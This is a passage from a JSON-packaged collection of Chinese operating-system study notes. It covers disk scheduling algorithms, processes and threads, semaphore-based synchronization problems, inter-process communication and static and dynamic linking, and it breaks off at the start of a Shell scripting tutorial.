可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 设备管理.md",
    "content": "<!-- GFM-TOC -->\n* [磁盘结构](#磁盘结构)\n* [磁盘调度算法](#磁盘调度算法)\n    * [1. 先来先服务](#1-先来先服务)\n    * [2. 最短寻道时间优先](#2-最短寻道时间优先)\n    * [3. 电梯算法](#3-电梯算法)\n<!-- GFM-TOC -->\n\n\n# 磁盘结构\n\n- 盘面（Platter）：一个磁盘有多个盘面；\n- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；\n- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；\n- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；\n- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；\n- 主轴（Spindle）：使整个盘面转动。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/014fbc4d-d873-4a12-b160-867ddaed9807.jpg\"/> </div><br>\n\n# 磁盘调度算法\n\n读写一个磁盘块的时间的影响因素有：\n\n- 旋转时间（主轴转动盘面，使得磁头移动到适当的扇区上）\n- 寻道时间（制动手臂移动，使得磁头移动到适当的磁道上）\n- 实际的数据传输时间\n\n其中，寻道时间最长，因此磁盘调度的主要目标是使磁盘的平均寻道时间最短。\n\n## 1. 先来先服务\n\n> FCFS, First Come First Served\n\n按照磁盘请求的顺序进行调度。\n\n优点是公平和简单。缺点也很明显，因为未对寻道做任何优化，使平均寻道时间可能较长。\n\n## 2. 最短寻道时间优先\n\n> SSTF, Shortest Seek Time First\n\n优先调度与当前磁头所在磁道距离最近的磁道。\n\n虽然平均寻道时间比较低，但是不够公平。如果新到达的磁道请求总是比一个在等待的磁道请求近，那么在等待的磁道请求会一直等待下去，也就是出现饥饿现象。具体来说，两端的磁道请求更容易出现饥饿现象。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/4e2485e4-34bd-4967-9f02-0c093b797aaa.png\"/> </div><br>\n\n## 3. 电梯算法\n\n> SCAN\n\n电梯总是保持一个方向运行，直到该方向没有请求为止，然后改变运行方向。\n\n电梯算法（扫描算法）和电梯的运行过程类似，总是按一个方向来进行磁盘调度，直到该方向上没有未完成的磁盘请求，然后改变方向。\n\n因为考虑了移动方向，因此所有的磁盘请求都会被满足，解决了 SSTF 的饥饿问题。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/271ce08f-c124-475f-b490-be44fedc6d2e.png\"/> </div><br>\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 进程管理.md",
    "content": "<!-- GFM-TOC -->\n* [进程与线程](#进程与线程)\n    * [1. 进程](#1-进程)\n    * [2. 线程](#2-线程)\n    * [3. 区别](#3-区别)\n* [进程状态的切换](#进程状态的切换)\n* [进程调度算法](#进程调度算法)\n    * [1. 批处理系统](#1-批处理系统)\n    * [2. 交互式系统](#2-交互式系统)\n    * [3. 实时系统](#3-实时系统)\n* [进程同步](#进程同步)\n    * [1. 临界区](#1-临界区)\n    * [2. 同步与互斥](#2-同步与互斥)\n    * [3. 信号量](#3-信号量)\n    * [4. 管程](#4-管程)\n* [经典同步问题](#经典同步问题)\n    * [1. 读者-写者问题](#1-读者-写者问题)\n    * [2. 哲学家进餐问题](#2-哲学家进餐问题)\n* [进程通信](#进程通信)\n    * [1. 管道](#1-管道)\n    * [2. FIFO](#2-fifo)\n    * [3. 消息队列](#3-消息队列)\n    * [4. 信号量](#4-信号量)\n    * [5. 共享存储](#5-共享存储)\n    * [6. 套接字](#6-套接字)\n<!-- GFM-TOC -->\n\n\n# 进程与线程\n\n## 1. 进程\n\n进程是资源分配的基本单位。\n\n进程控制块 (Process Control Block, PCB) 描述进程的基本信息和运行状态，所谓的创建进程和撤销进程，都是指对 PCB 的操作。\n\n下图显示了 4 个程序创建了 4 个进程，这 4 个进程可以并发地执行。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/a6ac2b08-3861-4e85-baa8-382287bfee9f.png\"/> </div><br>\n\n## 2. 线程\n\n线程是独立调度的基本单位。\n\n一个进程中可以有多个线程，它们共享进程资源。\n\nQQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/3cd630ea-017c-488d-ad1d-732b4efeddf5.png\"/> </div><br>\n\n## 3. 区别\n\nⅠ 拥有资源\n\n进程是资源分配的基本单位，但是线程不拥有资源，线程可以访问隶属进程的资源。\n\nⅡ 调度\n\n线程是独立调度的基本单位，在同一进程中，线程的切换不会引起进程切换，从一个进程中的线程切换到另一个进程中的线程时，会引起进程切换。\n\nⅢ 系统开销\n\n由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。\n\nⅣ 通信方面\n\n线程间可以通过直接读写同一进程中的数据进行通信，但是进程通信需要借助 IPC。\n\n# 进程状态的切换\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/ProcessState.png\" width=\"500\"/> </div><br>\n\n- 就绪状态（ready）：等待被调度\n- 运行状态（running）\n- 阻塞状态（waiting）：等待资源\n\n应该注意以下内容：\n\n- 只有就绪态和运行态可以相互转换，其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间，转为运行状态；而运行状态的进程，在分配给它的 CPU 时间片用完之后就会转为就绪状态，等待下一次调度。\n- 阻塞状态是缺少需要的资源从而由运行状态转换而来，但是该资源不包括 CPU 时间，缺少 CPU 时间会从运行态转换为就绪态。\n\n# 进程调度算法\n\n不同环境的调度算法目标不同，因此需要针对不同环境来讨论调度算法。\n\n## 1. 批处理系统\n\n批处理系统没有太多的用户操作，在该系统中，调度算法目标是保证吞吐量和周转时间（从提交到终止的时间）。\n\n**1.1 先来先服务 first-come first-serverd（FCFS）** \n\n按照请求的顺序进行调度。\n\n有利于长作业，但不利于短作业，因为短作业必须一直等待前面的长作业执行完毕才能执行，而长作业又需要执行很长时间，造成了短作业等待时间过长。\n\n**1.2 短作业优先 shortest job first（SJF）** \n\n按估计运行时间最短的顺序进行调度。\n\n长作业有可能会饿死，处于一直等待短作业执行完毕的状态。因为如果一直有短作业到来，那么长作业永远得不到调度。\n\n**1.3 最短剩余时间优先 shortest remaining time next（SRTN）** \n\n按估计剩余时间最短的顺序进行调度。\n\n## 2. 交互式系统\n\n交互式系统有大量的用户交互操作，在该系统中调度算法的目标是快速地进行响应。\n\n**2.1 时间片轮转** \n\n将所有就绪进程按 FCFS 的原则排成一个队列，每次调度时，把 CPU 时间分配给队首进程，该进程可以执行一个时间片。当时间片用完时，由计时器发出时钟中断，调度程序便停止该进程的执行，并将它送往就绪队列的末尾，同时继续把 CPU 时间分配给队首的进程。\n\n时间片轮转算法的效率和时间片的大小有很大关系：\n\n- 因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。\n- 而如果时间片过长，那么实时性就不能得到保证。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/8c662999-c16c-481c-9f40-1fdba5bc9167.png\"/> </div><br>\n\n**2.2 优先级调度** \n\n为每个进程分配一个优先级，按优先级进行调度。\n\n为了防止低优先级的进程永远等不到调度，可以随着时间的推移增加等待进程的优先级。\n\n**2.3 多级反馈队列** \n\n一个进程需要执行 100 个时间片，如果采用时间片轮转调度算法，那么需要交换 100 次。\n\n多级队列是为这种需要连续执行多个时间片的进程考虑，它设置了多个队列，每个队列时间片大小都不同，例如 1,2,4,8,..。进程在第一个队列没执行完，就会被移到下一个队列。这种方式下，之前的进程只需要交换 7 次。\n\n每个队列优先权也不同，最上面的优先权最高。因此只有上一个队列没有进程在排队，才能调度当前队列上的进程。\n\n可以将这种调度算法看成是时间片轮转调度算法和优先级调度算法的结合。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/042cf928-3c8e-4815-ae9c-f2780202c68f.png\"/> </div><br>\n\n## 3. 实时系统\n\n实时系统要求一个请求在一个确定时间内得到响应。\n\n分为硬实时和软实时，前者必须满足绝对的截止时间，后者可以容忍一定的超时。\n\n# 进程同步\n\n## 1. 临界区\n\n对临界资源进行访问的那段代码称为临界区。\n\n为了互斥访问临界资源，每个进程在进入临界区之前，需要先进行检查。\n\n```html\n// entry section\n// critical section;\n// exit section\n```\n\n## 2. 同步与互斥\n\n- 同步：多个进程按一定顺序执行；\n- 互斥：多个进程在同一时刻只有一个进程能进入临界区。\n\n## 3. 信号量\n\n信号量（Semaphore）是一个整型变量，可以对其执行 down 和 up 操作，也就是常见的 P 和 V 操作。\n\n-  **down**  : 如果信号量大于 0 ，执行 -1 操作；如果信号量等于 0，进程睡眠，等待信号量大于 0；\n-  **up** ：对信号量执行 +1 操作，唤醒睡眠的进程让其完成 down 操作。\n\ndown 和 up 操作需要被设计成原语，不可分割，通常的做法是在执行这些操作的时候屏蔽中断。\n\n如果信号量的取值只能为 0 或者 1，那么就成为了  **互斥量（Mutex）** ，0 表示临界区已经加锁，1 表示临界区解锁。\n\n```c\ntypedef int semaphore;\nsemaphore mutex = 1;\nvoid P1() {\n    down(&mutex);\n    // 临界区\n    up(&mutex);\n}\n\nvoid P2() {\n    down(&mutex);\n    // 临界区\n    up(&mutex);\n}\n```\n\n<font size=3>  **使用信号量实现生产者-消费者问题**  </font> </br>\n\n问题描述：使用一个缓冲区来保存物品，只有缓冲区没有满，生产者才可以放入物品；只有缓冲区不为空，消费者才可以拿走物品。\n\n因为缓冲区属于临界资源，因此需要使用一个互斥量 mutex 来控制对缓冲区的互斥访问。\n\n为了同步生产者和消费者的行为，需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计，这里需要使用两个信号量：empty 记录空缓冲区的数量，full 记录满缓冲区的数量。其中，empty 信号量是在生产者进程中使用，当 empty 不为 0 时，生产者才可以放入物品；full 信号量是在消费者进程中使用，当 full 信号量不为 0 时，消费者才可以取走物品。\n\n注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，消费者就无法执行 up(empty) 操作，empty 永远都为 0，导致生产者永远等待下，不会释放锁，消费者因此也会永远等待下去。\n\n```c\n#define N 100\ntypedef int semaphore;\nsemaphore mutex = 1;\nsemaphore empty = N;\nsemaphore full = 0;\n\nvoid producer() {\n    while(TRUE) {\n        int item = produce_item();\n        down(&empty);\n        down(&mutex);\n        insert_item(item);\n        up(&mutex);\n        up(&full);\n    }\n}\n\nvoid consumer() {\n    while(TRUE) {\n        down(&full);\n        down(&mutex);\n        int item = remove_item();\n        consume_item(item);\n        up(&mutex);\n        up(&empty);\n    }\n}\n```\n\n## 4. 管程\n\n使用信号量机制实现的生产者消费者问题需要客户端代码做很多控制，而管程把控制的代码独立出来，不仅不容易出错，也使得客户端代码调用更容易。\n\nc 语言不支持管程，下面的示例代码使用了类 Pascal 语言来描述管程。示例代码的管程提供了 insert() 和 remove() 方法，客户端代码通过调用这两个方法来解决生产者-消费者问题。\n\n```pascal\nmonitor ProducerConsumer\n    integer i;\n    condition c;\n\n    procedure insert();\n    begin\n        // ...\n    end;\n\n    procedure remove();\n    begin\n        // ...\n    end;\nend monitor;\n```\n\n管程有一个重要特性：在一个时刻只能有一个进程使用管程。进程在无法继续执行的时候不能一直占用管程，否则其它进程永远不能使用管程。\n\n管程引入了  **条件变量**  以及相关的操作：**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞，把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。\n\n<font size=3> **使用管程实现生产者-消费者问题** </font><br>\n\n```pascal\n// 管程\nmonitor ProducerConsumer\n    condition full, empty;\n    integer count := 0;\n    condition c;\n\n    procedure insert(item: integer);\n    begin\n        if count = N then wait(full);\n        insert_item(item);\n        count := count + 1;\n        if count = 1 then signal(empty);\n    end;\n\n    function remove: integer;\n    begin\n        if count = 0 then wait(empty);\n        remove = remove_item;\n        count := count - 1;\n        if count = N -1 then signal(full);\n    end;\nend monitor;\n\n// 生产者客户端\nprocedure producer\nbegin\n    while true do\n    begin\n        item = produce_item;\n        ProducerConsumer.insert(item);\n    end\nend;\n\n// 消费者客户端\nprocedure consumer\nbegin\n    while true do\n    begin\n        item = ProducerConsumer.remove;\n        consume_item(item);\n    end\nend;\n```\n\n# 经典同步问题\n\n生产者和消费者问题前面已经讨论过了。\n\n## 1. 读者-写者问题\n\n允许多个进程同时对数据进行读操作，但是不允许读和写以及写和写操作同时发生。\n\n一个整型变量 count 记录在对数据进行读操作的进程数量，一个互斥量 count_mutex 用于对 count 加锁，一个互斥量 data_mutex 用于对读写的数据加锁。\n\n```c\ntypedef int semaphore;\nsemaphore count_mutex = 1;\nsemaphore data_mutex = 1;\nint count = 0;\n\nvoid reader() {\n    while(TRUE) {\n        down(&count_mutex);\n        count++;\n        if(count == 1) down(&data_mutex); // 第一个读者需要对数据进行加锁，防止写进程访问\n        up(&count_mutex);\n        read();\n        down(&count_mutex);\n        count--;\n        if(count == 0) up(&data_mutex);\n        up(&count_mutex);\n    }\n}\n\nvoid writer() {\n    while(TRUE) {\n        down(&data_mutex);\n        write();\n        up(&data_mutex);\n    }\n}\n```\n\n以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。\n\nThe first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).\n\n```source-c\nint readcount, writecount;                   //(initial value = 0)\nsemaphore rmutex, wmutex, readLock, resource; //(initial value = 1)\n\n//READER\nvoid reader() {\n<ENTRY Section>\n down(&readLock);                 //  reader is trying to enter\n down(&rmutex);                  //   lock to increase readcount\n  readcount++;                 \n  if (readcount == 1)          \n   down(&resource);              //if you are the first reader then lock  the resource\n up(&rmutex);                  //release  for other readers\n up(&readLock);                 //Done with trying to access the resource\n\n<CRITICAL Section>\n//reading is performed\n\n<EXIT Section>\n down(&rmutex);                  //reserve exit section - avoids race condition with readers\n readcount--;                       //indicate you're leaving\n  if (readcount == 0)          //checks if you are last reader leaving\n   up(&resource);              //if last, you must release the locked resource\n up(&rmutex);                  //release exit section for other readers\n}\n\n//WRITER\nvoid writer() {\n  <ENTRY Section>\n  down(&wmutex);                  //reserve entry section for writers - avoids race conditions\n  writecount++;                //report yourself as a writer entering\n  if (writecount == 1)         //checks if you're first writer\n   down(&readLock);               //if you're first, then you must lock the readers out. Prevent them from trying to enter CS\n  up(&wmutex);                  //release entry section\n\n<CRITICAL Section>\n down(&resource);                //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource\n  //writing is performed\n up(&resource);                //release file\n\n<EXIT Section>\n  down(&wmutex);                  //reserve exit section\n  writecount--;                //indicate you're leaving\n  if (writecount == 0)         //checks if you're the last writer\n   up(&readLock);               //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading\n  up(&wmutex);                  //release exit section\n}\n```\n\nWe can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesn’t need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.\n\nFrom the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.\n\n```source-c\nint readCount;                  // init to 0; number of readers currently accessing resource\n\n// all semaphores initialised to 1\nSemaphore resourceAccess;       // controls access (read/write) to the resource\nSemaphore readCountAccess;      // for syncing changes to shared variable readCount\nSemaphore serviceQueue;         // FAIRNESS: preserves ordering of requests (signaling must be FIFO)\n\nvoid writer()\n{ \n    down(&serviceQueue);           // wait in line to be servicexs\n    // <ENTER>\n    down(&resourceAccess);         // request exclusive access to resource\n    // </ENTER>\n    up(&serviceQueue);           // let next in line be serviced\n\n    // <WRITE>\n    writeResource();            // writing is performed\n    // </WRITE>\n\n    // <EXIT>\n    up(&resourceAccess);         // release resource access for next reader/writer\n    // </EXIT>\n}\n\nvoid reader()\n{ \n    down(&serviceQueue);           // wait in line to be serviced\n    down(&readCountAccess);        // request exclusive access to readCount\n    // <ENTER>\n    if (readCount == 0)         // if there are no readers already reading:\n        down(&resourceAccess);     // request resource access for readers (writers blocked)\n    readCount++;                // update count of active readers\n    // </ENTER>\n    up(&serviceQueue);           // let next in line be serviced\n    up(&readCountAccess);        // release access to readCount\n\n    // <READ>\n    readResource();             // reading is performed\n    // </READ>\n\n    down(&readCountAccess);        // request exclusive access to readCount\n    // <EXIT>\n    readCount--;                // update count of active readers\n    if (readCount == 0)         // if there are no readers left:\n        up(&resourceAccess);     // release resource access for all\n    // </EXIT>\n    up(&readCountAccess);        // release access to readCount\n}\n\n```\n\n\n## 2. 哲学家进餐问题\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg\"/> </div><br>\n\n五个哲学家围着一张圆桌，每个哲学家面前放着食物。哲学家的生活有两种交替活动：吃饭以及思考。当一个哲学家吃饭时，需要先拿起自己左右两边的两根筷子，并且一次只能拿起一根筷子。\n\n下面是一种错误的解法，考虑到如果所有哲学家同时拿起左手边的筷子，那么就无法拿起右手边的筷子，造成死锁。\n\n```c\n#define N 5\n\nvoid philosopher(int i) {\n    while(TRUE) {\n        think();\n        take(i);       // 拿起左边的筷子\n        take((i+1)%N); // 拿起右边的筷子\n        eat();\n        put(i);\n        put((i+1)%N);\n    }\n}\n```\n\n为了防止死锁的发生，可以设置两个条件：\n\n- 必须同时拿起左右两根筷子；\n- 只有在两个邻居都没有进餐的情况下才允许进餐。\n\n```c\n#define N 5\n#define LEFT (i + N - 1) % N // 左邻居\n#define RIGHT (i + 1) % N    // 右邻居\n#define THINKING 0\n#define HUNGRY   1\n#define EATING   2\ntypedef int semaphore;\nint state[N];                // 跟踪每个哲学家的状态\nsemaphore mutex = 1;         // 临界区的互斥\nsemaphore s[N];              // 每个哲学家一个信号量\n\nvoid philosopher(int i) {\n    while(TRUE) {\n        think();\n        take_two(i);\n        eat();\n        put_two(i);\n    }\n}\n\nvoid take_two(int i) {\n    down(&mutex);\n    state[i] = HUNGRY;\n    test(i);\n    up(&mutex);\n    down(&s[i]);\n}\n\nvoid put_two(i) {\n    down(&mutex);\n    state[i] = THINKING;\n    test(LEFT);\n    test(RIGHT);\n    up(&mutex);\n}\n\nvoid test(i) {         // 尝试拿起两把筷子\n    if(state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] !=EATING) {\n        state[i] = EATING;\n        up(&s[i]);\n    }\n}\n```\n\n# 进程通信\n\n进程同步与进程通信很容易混淆，它们的区别在于：\n\n- 进程同步：控制多个进程按一定顺序执行；\n- 进程通信：进程间传输信息。\n\n进程通信是一种手段，而进程同步是一种目的。也可以说，为了能够达到进程同步的目的，需要让进程进行通信，传输一些进程同步所需要的信息。\n\n## 1. 管道\n\n管道是通过调用 pipe 函数创建的，fd[0] 用于读，fd[1] 用于写。\n\n```c\n#include <unistd.h>\nint pipe(int fd[2]);\n```\n\n它具有以下限制：\n\n- 只支持半双工通信（单向交替传输）；\n- 只能在父子进程中使用。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png\"/> </div><br>\n\n## 2. FIFO\n\n也称为命名管道，去除了管道只能在父子进程中使用的限制。\n\n```c\n#include <sys/stat.h>\nint mkfifo(const char *path, mode_t mode);\nint mkfifoat(int fd, const char *path, mode_t mode);\n```\n\nFIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户进程和服务器进程之间传递数据。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png\"/> </div><br>\n\n## 3. 消息队列\n\n相比于 FIFO，消息队列具有以下优点：\n\n- 消息队列可以独立于读写进程存在，从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难；\n- 避免了 FIFO 的同步阻塞问题，不需要进程自己提供同步方法；\n- 读进程可以根据消息类型有选择地接收消息，而不像 FIFO 那样只能默认地接收。\n\n## 4. 信号量\n\n它是一个计数器，用于为多个进程提供对共享数据对象的访问。\n\n## 5. 共享存储\n\n允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制，所以这是最快的一种 IPC。\n\n需要使用信号量用来同步对共享存储的访问。\n\n多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件，而是使用内存的匿名段。\n\n## 6. 套接字\n\n与其它通信机制不同的是，它可用于不同机器间的进程通信。\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 链接.md",
    "content": "<!-- GFM-TOC -->\n* [编译系统](#编译系统)\n* [静态链接](#静态链接)\n* [目标文件](#目标文件)\n* [动态链接](#动态链接)\n<!-- GFM-TOC -->\n\n\n# 编译系统\n\n\n以下是一个 hello.c 程序：\n\n```c\n#include <stdio.h>\n\nint main()\n{\n    printf(\"hello, world\\n\");\n    return 0;\n}\n```\n\n在 Unix 系统上，由编译器把源文件转换为目标文件。\n\n```bash\ngcc -o hello hello.c\n```\n\n这个过程大致如下：\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg\" width=\"800\"/> </div><br>\n\n- 预处理阶段：处理以 # 开头的预处理命令；\n- 编译阶段：翻译成汇编文件；\n- 汇编阶段：将汇编文件翻译成可重定位目标文件；\n- 链接阶段：将可重定位目标文件和 printf.o 等单独预编译好的目标文件进行合并，得到最终的可执行目标文件。\n\n# 静态链接\n\n静态链接器以一组可重定位目标文件为输入，生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务：\n\n- 符号解析：每个符号对应于一个函数、一个全局变量或一个静态变量，符号解析的目的是将每个符号引用与一个符号定义关联起来。\n- 重定位：链接器通过把每个符号定义与一个内存位置关联起来，然后修改所有对这些符号的引用，使得它们指向这个内存位置。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg\"/> </div><br>\n\n# 目标文件\n\n- 可执行目标文件：可以直接在内存中执行；\n- 可重定位目标文件：可与其它可重定位目标文件在链接阶段合并，创建一个可执行目标文件；\n- 共享目标文件：这是一种特殊的可重定位目标文件，可以在运行时被动态加载进内存并链接；\n\n# 动态链接\n\n静态库有以下两个问题：\n\n- 当静态库更新时那么整个程序都要重新进行链接；\n- 对于 printf 这种标准函数库，如果每个程序都要有代码，这会极大浪费资源。\n\n共享库是为了解决静态库的这两个问题而设计的，在 Linux 系统中通常用 .so 后缀来表示，Windows 系统上它们被称为 DLL。它具有以下特点：\n\n- 在给定的文件系统中一个库只有一个文件，所有引用该库的可执行目标文件都共享这个文件，它不会被复制到引用它的可执行文件中；\n- 在内存中，一个共享库的 .text 节（已编译程序的机器代码）的一个副本可以被不同的正在运行的进程共享。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg\"/> </div><br>\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/operating-system/Shell.md",
    "content": "\n<!-- MarkdownTOC -->\n\n- [Shell 编程入门](#shell-编程入门)\n  - [走进 Shell 编程的大门](#走进-shell-编程的大门)\n    - [为什么要学Shell？](#为什么要学shell)\n    - [什么是 Shell？](#什么是-shell)\n    - [Shell 编程的 Hello World](#shell-编程的-hello-world)\n  - [Shell 变量](#shell-变量)\n    - [Shell 编程中的变量介绍](#shell-编程中的变量介绍)\n    - [Shell 字符串入门](#shell-字符串入门)\n    - [Shell 字符串常见操作](#shell-字符串常见操作)\n    - [Shell 数组](#shell-数组)\n  - [Shell 基本运算符](#shell-基本运算符)\n    - [算数运算符](#算数运算符)\n    - [关系运算符](#关系运算符)\n    - [逻辑运算符](#逻辑运算符)\n    - [布尔运算符](#布尔运算符)\n    - [字符串运算符](#字符串运算符)\n    - [文件相关运算符](#文件相关运算符)\n  - [shell流程控制](#shell流程控制)\n    - [if 条件语句](#if-条件语句)\n    - [for 循环语句](#for-循环语句)\n    - [while 语句](#while-语句)\n  - [shell 函数](#shell-函数)\n    - [不带参数没有返回值的函数](#不带参数没有返回值的函数)\n    - [有返回值的函数](#有返回值的函数)\n    - [带参数的函数](#带参数的函数)\n\n<!-- /MarkdownTOC -->\n\n# Shell 编程入门\n\n## 走进 Shell 编程的大门\n\n### 为什么要学Shell？\n\n学一个东西，我们大部分情况都是往实用性方向着想。从工作角度来讲，学习 Shell 是为了提高我们自己工作效率，提高产出，让我们在更少的时间完成更多的事情。\n\n很多人会说 Shell 编程属于运维方面的知识了，应该是运维人员来做，我们做后端开发的没必要学。我觉得这种说法大错特错，相比于专门做Linux运维的人员来说，我们对 Shell 编程掌握程度的要求要比他们低，但是shell编程也是我们必须要掌握的！\n\n目前Linux系统下最流行的运维自动化语言就是Shell和Python了。\n\n两者之间，Shell几乎是IT企业必须使用的运维自动化编程语言，特别是在运维工作中的服务监控、业务快速部署、服务启动停止、数据备份及处理、日志分析等环节里，shell是不可缺的。Python 更适合处理复杂的业务逻辑，以及开发复杂的运维软件工具，实现通过web访问等。Shell是一个命令解释器，解释执行用户所输入的命令和程序。一输入命令，就立即回应的交互的对话方式。\n\n另外，了解 shell 编程也是大部分互联网公司招聘后端开发人员的要求。下图是我截取的一些知名互联网公司对于 Shell 编程的要求。\n\n![大型互联网公司对于shell编程技能的要求](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-16/60190220.jpg)\n\n### 什么是 Shell？\n\n简单来说“Shell编程就是对一堆Linux命令的逻辑化处理”。\n\n\nW3Cschool 上的一篇文章是这样介绍 Shell的，如下图所示。\n![什么是 Shell？](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-26/19456505.jpg)\n\n\n### Shell 编程的 Hello World\n\n学习任何一门编程语言第一件事就是输出HelloWord了！下面我会从新建文件到shell代码编写来说下Shell 编程如何输出Hello World。\n\n\n(1)新建一个文件 helloworld.sh :`touch helloworld.sh`，扩展名为 